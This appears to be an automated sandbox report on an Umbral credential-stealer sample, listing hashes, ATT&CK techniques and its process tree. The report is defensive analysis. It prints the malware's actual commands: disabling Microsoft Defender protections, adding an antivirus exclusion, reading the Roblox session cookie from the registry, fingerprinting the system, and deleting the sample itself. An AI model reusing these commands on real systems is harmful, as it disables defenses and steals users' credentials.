umbral | cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
24-08-2024 01:31

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General

Target

cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe
Size

229KB
MD5

ea031754ac9fe28dbc0c5915cb638e44
SHA1

14b2c7b94aefdfc911e26fc5deb6eb8b6d7c0aed
SHA256

cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e
SHA512

39a0790b3bae0862b1ba87bd6d1165694ba09cfa5104935e00ebaa13924699b2efba92ee6e744d3d820a9c05f80fa41fa1649498dce8f430835e8c6e813c25bb
SSDEEP

6144:9loZM9rIkd8g+EtXHkv/iD4RugVzZqStvY5rWWDFZb8e1m7i:foZOL+EP8RugVzZqStvY5rWWD3V

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2668-1-0x0000000001040000-0x0000000001080000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2648	powershell.exe
288	powershell.exe
2892	powershell.exe
2728	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe

Deletes itself 1 IoCs

pid	Process
1620	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2284	PING.EXE
1620	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2232	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2284	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2728	powershell.exe
2648	powershell.exe
288	powershell.exe
2956	powershell.exe
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	288	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeIncreaseQuotaPrivilege	2316	wmic.exe
Token: SeSecurityPrivilege	2316	wmic.exe
Token: SeTakeOwnershipPrivilege	2316	wmic.exe
Token: SeLoadDriverPrivilege	2316	wmic.exe
Token: SeSystemProfilePrivilege	2316	wmic.exe
Token: SeSystemtimePrivilege	2316	wmic.exe
Token: SeProfSingleProcessPrivilege	2316	wmic.exe
Token: SeIncBasePriorityPrivilege	2316	wmic.exe
Token: SeCreatePagefilePrivilege	2316	wmic.exe
Token: SeBackupPrivilege	2316	wmic.exe
Token: SeRestorePrivilege	2316	wmic.exe
Token: SeShutdownPrivilege	2316	wmic.exe
Token: SeDebugPrivilege	2316	wmic.exe
Token: SeSystemEnvironmentPrivilege	2316	wmic.exe
Token: SeRemoteShutdownPrivilege	2316	wmic.exe
Token: SeUndockPrivilege	2316	wmic.exe
Token: SeManageVolumePrivilege	2316	wmic.exe
Token: 33	2316	wmic.exe
Token: 34	2316	wmic.exe
Token: 35	2316	wmic.exe
Token: SeIncreaseQuotaPrivilege	2316	wmic.exe
Token: SeSecurityPrivilege	2316	wmic.exe
Token: SeTakeOwnershipPrivilege	2316	wmic.exe
Token: SeLoadDriverPrivilege	2316	wmic.exe
Token: SeSystemProfilePrivilege	2316	wmic.exe
Token: SeSystemtimePrivilege	2316	wmic.exe
Token: SeProfSingleProcessPrivilege	2316	wmic.exe
Token: SeIncBasePriorityPrivilege	2316	wmic.exe
Token: SeCreatePagefilePrivilege	2316	wmic.exe
Token: SeBackupPrivilege	2316	wmic.exe
Token: SeRestorePrivilege	2316	wmic.exe
Token: SeShutdownPrivilege	2316	wmic.exe
Token: SeDebugPrivilege	2316	wmic.exe
Token: SeSystemEnvironmentPrivilege	2316	wmic.exe
Token: SeRemoteShutdownPrivilege	2316	wmic.exe
Token: SeUndockPrivilege	2316	wmic.exe
Token: SeManageVolumePrivilege	2316	wmic.exe
Token: 33	2316	wmic.exe
Token: 34	2316	wmic.exe
Token: 35	2316	wmic.exe
Token: SeIncreaseQuotaPrivilege	2452	wmic.exe
Token: SeSecurityPrivilege	2452	wmic.exe
Token: SeTakeOwnershipPrivilege	2452	wmic.exe
Token: SeLoadDriverPrivilege	2452	wmic.exe
Token: SeSystemProfilePrivilege	2452	wmic.exe
Token: SeSystemtimePrivilege	2452	wmic.exe
Token: SeProfSingleProcessPrivilege	2452	wmic.exe
Token: SeIncBasePriorityPrivilege	2452	wmic.exe
Token: SeCreatePagefilePrivilege	2452	wmic.exe
Token: SeBackupPrivilege	2452	wmic.exe
Token: SeRestorePrivilege	2452	wmic.exe
Token: SeShutdownPrivilege	2452	wmic.exe
Token: SeDebugPrivilege	2452	wmic.exe
Token: SeSystemEnvironmentPrivilege	2452	wmic.exe
Token: SeRemoteShutdownPrivilege	2452	wmic.exe
Token: SeUndockPrivilege	2452	wmic.exe
Token: SeManageVolumePrivilege	2452	wmic.exe
Token: 33	2452	wmic.exe
Token: 34	2452	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 2644	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	31
PID 2668 wrote to memory of 2644	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	31
PID 2668 wrote to memory of 2644	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	31
PID 2668 wrote to memory of 2728	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	33
PID 2668 wrote to memory of 2728	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	33
PID 2668 wrote to memory of 2728	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	33
PID 2668 wrote to memory of 2648	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	35
PID 2668 wrote to memory of 2648	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	35
PID 2668 wrote to memory of 2648	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	35
PID 2668 wrote to memory of 288	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	37
PID 2668 wrote to memory of 288	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	37
PID 2668 wrote to memory of 288	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	37
PID 2668 wrote to memory of 2956	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	39
PID 2668 wrote to memory of 2956	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	39
PID 2668 wrote to memory of 2956	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	39
PID 2668 wrote to memory of 2316	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	41
PID 2668 wrote to memory of 2316	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	41
PID 2668 wrote to memory of 2316	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	41
PID 2668 wrote to memory of 2452	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	44
PID 2668 wrote to memory of 2452	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	44
PID 2668 wrote to memory of 2452	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	44
PID 2668 wrote to memory of 1644	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	46
PID 2668 wrote to memory of 1644	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	46
PID 2668 wrote to memory of 1644	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	46
PID 2668 wrote to memory of 2892	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	48
PID 2668 wrote to memory of 2892	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	48
PID 2668 wrote to memory of 2892	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	48
PID 2668 wrote to memory of 2232	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	50
PID 2668 wrote to memory of 2232	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	50
PID 2668 wrote to memory of 2232	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	50
PID 2668 wrote to memory of 1620	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	52
PID 2668 wrote to memory of 1620	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	52
PID 2668 wrote to memory of 1620	2668	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	52
PID 1620 wrote to memory of 2284	1620	cmd.exe	54
PID 1620 wrote to memory of 2284	1620	cmd.exe	54
PID 1620 wrote to memory of 2284	1620	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2644	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe
"C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe"
  2⤵
  - Views/modifies file attributes
  PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2892
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2232
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
44727ab80239bcc1c97ec1858cbb40d3

SHA1
09f0a84b4e42375d750e3ea89c45d622f310d6b3

SHA256
febfcb6ac864c6f2eb15e3da6e52ae2546409e8821f84c694b555b1c3bd67b13

SHA512
3dc60b593cddb0d88bfbdf16a38a17da97b7da30d180f8bf29f8152e944855b9781b8126f37fd882991643be5830dabc1b645c21b121bcb885e9cb27ea5cbf1d

Download Submit
memory/2648-22-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/2648-21-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2668-1-0x0000000001040000-0x0000000001080000-memory.dmp

Filesize
256KB

Download
memory/2668-2-0x000007FEF58B0000-0x000007FEF629C000-memory.dmp

Filesize
9.9MB

Download
memory/2668-56-0x000007FEF58B0000-0x000007FEF629C000-memory.dmp

Filesize
9.9MB

Download
memory/2668-0-0x000007FEF58B3000-0x000007FEF58B4000-memory.dmp

Filesize
4KB

Download
memory/2668-53-0x000007FEF58B0000-0x000007FEF629C000-memory.dmp

Filesize
9.9MB

Download
memory/2668-52-0x000007FEF58B3000-0x000007FEF58B4000-memory.dmp

Filesize
4KB

Download
memory/2728-8-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2728-15-0x000007FEEDB90000-0x000007FEEE52D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-14-0x000007FEEDB90000-0x000007FEEE52D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-13-0x000007FEEDB90000-0x000007FEEE52D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-12-0x000007FEEDB90000-0x000007FEEE52D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-10-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2728-11-0x000007FEEDB90000-0x000007FEEE52D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-9-0x000007FEEDB90000-0x000007FEEE52D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-7-0x000007FEEDE4E000-0x000007FEEDE4F000-memory.dmp

Filesize
4KB

Download